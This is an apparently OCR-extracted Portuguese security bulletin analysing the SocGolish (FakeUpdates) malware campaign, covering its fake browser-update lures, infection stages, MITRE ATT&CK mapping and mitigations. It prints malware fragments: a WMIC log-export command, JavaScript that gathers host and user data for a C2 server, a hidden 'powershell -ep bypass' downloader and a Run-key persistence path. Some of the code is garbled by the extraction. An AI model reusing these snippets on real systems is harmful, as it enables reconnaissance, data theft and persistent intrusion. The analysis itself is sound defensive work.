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1 SUMARIO EXECUTIVO

Atualmente, ¢é perceptivel que ataques cibernéticos estéo
utilizando diversos estagios para fins de ataques cibernéticos, bem como
para garantir que ndo sejam identificados, utilizam de métodos de evasdes
de defesas e entregas distintas, visando sempre atingir seus objetivos.

Como forma de exemplificagdo, apresentamos neste boletim a
andlise de campanha da familia de malware SocGolish, a qual foi
identificada primeiramente em 2017 e possui forte vinculo de atuagdo com
0 grupo criminoso operado na Russia conhecido como EvilCorp.

O malware utiliza de métodos de entregas diversos, dentre eles
apresentacdo de péginas falsas para o usuédrio visando fornecer
atualizagdes de navegadores falsas, os quais ao serem executados pelo
usudrio iniciam toda a cadeia de ataque.

E vélido mencionar que ao final dos estagios, apds garantia da
persisténcia e comunicagédo do cibercriminoso, este poderd utilizar o
acesso ilicito para concluir seus préximos objetivos, como instalagéo de
stealers (infostealers), backdoors, execucdo de ransomwares e outros.
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2 ANALISE E DETALHES DO SOCGOLISH

SocGolish (FakeUpdates) é considerada uma familia de malware
que aproveita de downloads drive-by-downloads disfar¢ados de
atualizagdes de software para acesso inicial. De acordo com os relatorios
identificados, esta familia estaria ligada ao suposto grupo russo de crimes
cibernéticos conhecido como “Evil Corp”.

Vale salientar que devido os ataques cibernéticos atuais utilizarem
diversos estagios, verificagdes de elegibilidade e rotinas de ofuscagéo o
SocGolish acaba por ser uma das familias de malwares mais evasivas de
defesas até hoje.

O malware foi observado e identificado em 2017 e, existem auséncia
de detalhes sobre a selecdo dos seus alvos, a légica de evasdo e os
procedimentos empregados pelos atores de ameacas e a utilizacdo do
malware em fases intermediarias das infeccdes.

O SocGolish geralmente obtém acesso inicial quando um usuério
visita um site comprometido e baixa um arquivo malicioso, seja por meio
de acesso comum de navegacéo ou através de recebimento de e-mail de
phishing. Caso o navegador da vitima atenda aos requisitos de
elegibilidade para a infecgdo de acordo com a campanha, serd
apresentado o artefato malicioso para download.

O malware dependente da engenharia social para obter a execucéo,
ludibriando o wusuério desavisado para que executem uma carga
JavaScript maliciosa. Ao longo dos ataques, o arquivo JavaScript foi
identificado entregando um arquivo ZIP disfar¢ado de atualizagéo do
navegador, Adobe Flash ou do Microsoft Teams.

De acordo com as campanhas observadas, o malware podera ter um
segundo estégio, na qual requer que o usuario baixe um arquivo chamado
“AutoUpdater.js” ou “Update.js” e, depois de baixar e executar, o terceiro
estdgio do malware comeg¢a sendo entdo executado uma série de
comandos WMI (Instrumentacdo de Gerenciamento do Windows). Tais
chamadas servem para tragar o perfil do sistema para determinar a
elegibilidade adicional para cargas adicionais do ataque.

Durante a sua execucéo, alguns dados sdo exfiltrados do ativo,
dados como: nome do usuario, computador e dominio. Vale salientar que
esta fase de reconhecimento é importante para os atores de ameacas para
prosseguirem com o implante final a variar de acordo com seus objetivos.
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Figura 1 — Diagrama de exemplo de ataque do SocGolish.

Para fins de melhor entendimento, iremos segmentar os ataques de
acordo com os estagios da campanha maliciosa.

1 ° Estagio: A vitima recebe um e-mail phishing contendo link para site
malicioso que hospeda um arquivo JavaScript, sendo baixado e
executado.

2° Estagio: O script baixado do 1° estégio iré verificar se a vitima esté apta
para prosseguir com o ataque e na sequéncia, apds a validacéo realiza o
download de outro arquivo em formato .zip na qual ao ser descompactado,
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é apresentado outro arquivo JavaScript malicioso, o qual apds a execugéo,
se comunica com o endereco C2.

3° Estagio: O terceiro estagio corresponde ao reconhecimento realizado
pelo ator malicioso sobre a infraestrutura da vitima (coleta de dados) para
verificar a progresséo no ataque, partindo para o 4° estagio.

4° Estagio: Neste o ator malicioso j& possui acesso a infraestrutura da
vitima e, poderd prosseguir com os seus interesses para o ataque,
podendo ser implantado backdoors, infostealers, ransomware, Cobalt
Strike e outros.

Alguns exemplos de campanhas identificadas compartilhando
arquivos maliciosos de atualizagdes de navegadores falsas.

Figura 2 — Link de atualizagdo falsa de navegador para entrega de JS malicioso.

@, Firefox Browser

Figura 3 — Link de atualizagdo falsa de navegador para entrega de JS malicioso.
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Figura 4 — Link de atualizagdo falsa de navegador para entrega de .zip malicioso.

Um dos comandos utilizados pelo script baixado no terceiro
estégio se dé por meio da utilizagao do “wscript.exe” e por meio do WMIC.

“wni ¢ / node: <doni ni onal i ci oso>.renote. host process call create
"wevtutil epl Security C:\\prograndata\\ <arqui vodeevent 0>. evt X
/q: Event [ Systeni (Event |1 D=4776)] ]

Neste caso, o ator recuperou os logs do ID de evento de seguranca
4776 para tentar validar credenciais de uma conta.

Vale salientar que para a descoberta de informagdes, o ator
malicioso cria um arquivo “.txt”, cujo arquivo permanece armazenado no
caminho: AppData\Local\Temp\. As informag¢des coletadas pelo ator séo:

ar userdnsdomai n = wsh. ExpandEnvi ronment Stri ngs(' Yuser dnsdomai n% )
var usernane = wsh. ExpandEnvi ronnment Stri ngs(' %user nane% )

var conputernane = wsh. ExpandEnvi ronnment Stri ngs(' %conput er nane% )
var processor_architecture =

wsh. ExpandEnvi ronment Stri ngs(' %r ocessor _architecture%)

var whoam = executeCndConmmand(' whoam /all")

req. push(["init_result', "1'])

req. push([' Consent Pronpt Behavi or Adm n', Consent Pronpt Behavi or Adm n])

req. push([' Pronpt OnSecur eDeskt op’', Pronpt OnSecur eDeskt op] )
req. push([' osBui | dNunber', osBuil dNunmber])

req. push([' osCaption', osCaption])

req. push([' whoam ', whoam])

req. push(["' userdnsdomai n', userdnsdonai n])

req. push(['usernane', usernane])

req. push([' conput ernane', conputernane])
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req. push([' processor_architecture', processor_architecture])
req. push(["'asproduct', ASProduct])

req. push([' processlist', processlist])

reg. push([ ' servicelist', servicelist])
this["eval '] (prepareRequest(req))

Ou:

var req = [];

reg. push('b");

reg. push('503");

req. push(sel f Nane) ;

req. push( Conput er Nane) ;
req. push(User Nane) ;

reg. push( Donwi n) ;

reg. push(dnsDomai n) ;

req. push(Manuf acturer);
req. push(Model);

req. push(BI OS_Versi on);
reg. push( Ant i Spywar ePr oduct) ;
reg. push(Anti Vi rusProduct) ;
req. push( MACAddr ess) ;

req. push(ProcesslLi st);
this['eval'](request(req));

Algumas campanhas realizam o download n&o sé de outro
JavaScript, mas também em PowerShell, sendo configurado algumas
variaveis no sistema para garantir a execugédo posteriormente:

var execFil eNane = ' 2b5fdceb. psl'
var fs = new ActiveXOhject("Scripting. FileSystentbject");
var _tenpFil ePat hExec = fs. Get Speci al Fol der(2) + "\\" + execFil eNaneg;

Ap0s, tenta realizar o download do arquivo e executa-lo.

try {
var req = [];
req. push('d');
reg. push('503");
var fileContent = request(req);
var stream = new Acti veXCbject (' ADODB. Streani ) ;
stream Type = 2
stream Charset = "| SO 8859-1"
stream Qpen();
stream WiteText(fil eContent);
stream SaveToFi | e(_t enpFil ePat hExec, 1);
stream Cl ose();
} catch (e) {
initExeption = "error nunber:' + e.nunber + ' nessage:' +
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€. nessage;

}

Parte do cédigo que realiza a execugéo do PowerShell.

if (initExeption == ‘0’) {
try {
var wsh = new ActiveXObject (“WScript.Shell”);
runFileResult = wsh.Run (‘powershell -ep bypass -w ndowstyl e hi dden
-f "' + tempFilePathExec + “', 0);
} catch (e) {
runFileExeption += ‘error number:’ + e.number + ' message:’ +
€. Nnessage,

}
}

E por fim, executar a parte final no JavaScript para garantir a backdoor:

var req = [];
reg.push(‘c’);
reg.push ('5037);

req. push(_t enpFi | ePat hExec) ;
req. push(runFil eResul t);
req. push(init Exeption);

req. push(runFi | eExepti on);
this[‘eval’] (request (req)) ;

Para persisténcias, foram observadas a modificagado da chave de registro
do Windows para garantir a persisténcia:

HKCU: \ \ Sof t war e\\ M crosoft\\ W ndows\ \ Curr ent Ver si on\ \ Run

Portanto, podemos perceber que a campanha do SocGolish
necessita de validacdo em todos os estagios, considerando que sé irdo
realizar o ataque ou prosseguir com os estagios se a vitima estiver
elegivel, bem como a utilizacdo de diversos comandos para fins de
download de préximos estégios e persisténcias por meio de alteragdes de
chaves de registros.
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3 TTPs-MITREATT&CK

Téatica Técnica Detalhes
Intérprete de Utilizag&o do arquivo JavaScript para prosseguir
comandos e scripts: com downloads e coleta de informagdes do ativo
JavaScript alvo da campanha, por meio de arquivos
T1059.007 “Update.js” e outros.
Intérprete de
Execugao comandos e scripts: Utiliza o PowerShell.exe para execucéo de
TA0002 PowerShell comandos a depender da campanha.
T1059.001
Intérprete de

comandos e scripts:
Shell de Comandos do
Windows
T1059.003

Utiliza o cmd.exe para execug&o de comandos no
Windows.

Persisténcia
TAOOO03

Execucéo de
inicializac&do automatica
de inicializac&o ou
logon: Chaves de
execucédo do
registro/pasta de
inicializacéo.
T1547.001

Alteragdo de chave de registro \Run para fins de
garantia da persisténcia de artefatos para acesso
pelo ator de ameaca.

Escalacao de
Privilégios
TAOO00O4

Mecanismo de Controle
de Elevacéo de Abuso.
T1548

Poderéd utilizar o PowerShell para dar bypass no
UAC do Windows e ignorar o controle de conta do
usuario.

Ignorar o controle de
conta de usuario.
T1548.002

Poderéd utilizar o PowerShell para dar bypass no
UAC do Windows e ignorar o controle de conta do
usuario.

Evasdo de Defesa
TAOOOS

Arquivos ou
informacdes ofuscadas.
T1027

O arquivo JavaScript utilizado nas campanhas
encontra-se potencialmente ofuscado para fins
de evitar detecgdes por solugdes de seguranga.

Desofuscar/Decodificar
arquivos ou
informacdes

T1140

Utilizagéo de JavaScript e PowerShell codificado.
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Ocultar artefatos
T1564

Utilizagdo de ocultamento de artefatos para fins
de prosseguir com os estégios.

Descoberta
TAOOO7

Descoberta de
informacdes do sistema
T1082

O ator malicioso utiliza arquivo JavaScript para
realizar o reconhecimento do ambiente da vitima
e demais dados para fins de prosseguir com a
campanha de infecgéo e proximos estégios.

Comando e
Controle
TAOOMNM

Portocolo da camada
de aplicagao;
T1071

Utilizag&o de RATSs para fins de comunicagéo apds
a finalizagdo dos estégios.
(NetSupport RAT C2).

Porta ndo padréo
TS

Utilizag&o de porta de destino 5051, uma porta nédo
padrdo para comunicagdes de rede.

Tabela 1 — Tabela MITRE ATT&CK.
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4 RECOMENDACOES

Além dos indicadores de comprometimento elencados abaixo pela

ISH, poderéo ser adotadas medidas visando a mitigagdo da infecgéo do
referido malware, como por exemplo:

Mantenha o software atualizado: Mantenha seu sistema operacional,
navegadores, plugins e aplicativos sempre atualizados.

Tenha um bom antivirus/antimalware: Utilize um software antivirus
confidvel e mantenha-o atualizado.

Desconfie de e-mails e mensagens suspeitas: Ndo clique em Llinks
ou baixe anexos de e-mails ou mensagens de remetentes
desconhecidos ou suspeitos.

Verifique a autenticidade dos remetentes: Antes de clicar em links
ou baixar anexos, verifique o enderego de e-mail do remetente.
N&o confie apenas na extensdo do arquivo: Arquivos com extensdes
inofensivas (como .txt, .js, .zip, .iso, .exe ou .jpg) podem ser
maliciosos.

Desative a execugdo automatica de scripts: Configure seu
navegador para bloquear a execugéo automatica de scripts em sites
ndo confidveis.

Use extensdes de navegador de seguranga: Considere instalar
extensbes de seguranga que ajudam a detectar e bloquear sites
maliciosos.

Ative a verificagdo de links em tempo real: Alguns antivirus
oferecem funcionalidades que verificam os links que vocé clica em
tempo real para garantir que sejam seguros.

Utilize uma solugédo de e-mail segura: Se possivel, use um provedor
de e-mail que tenha recursos de segurancga avangados para filtrar
e-mails maliciosos.

Mantenha backups regulares: Mantenha cdpias de segurang¢a de
seus dados importantes em locais seguros e atualize-as
regularmente.
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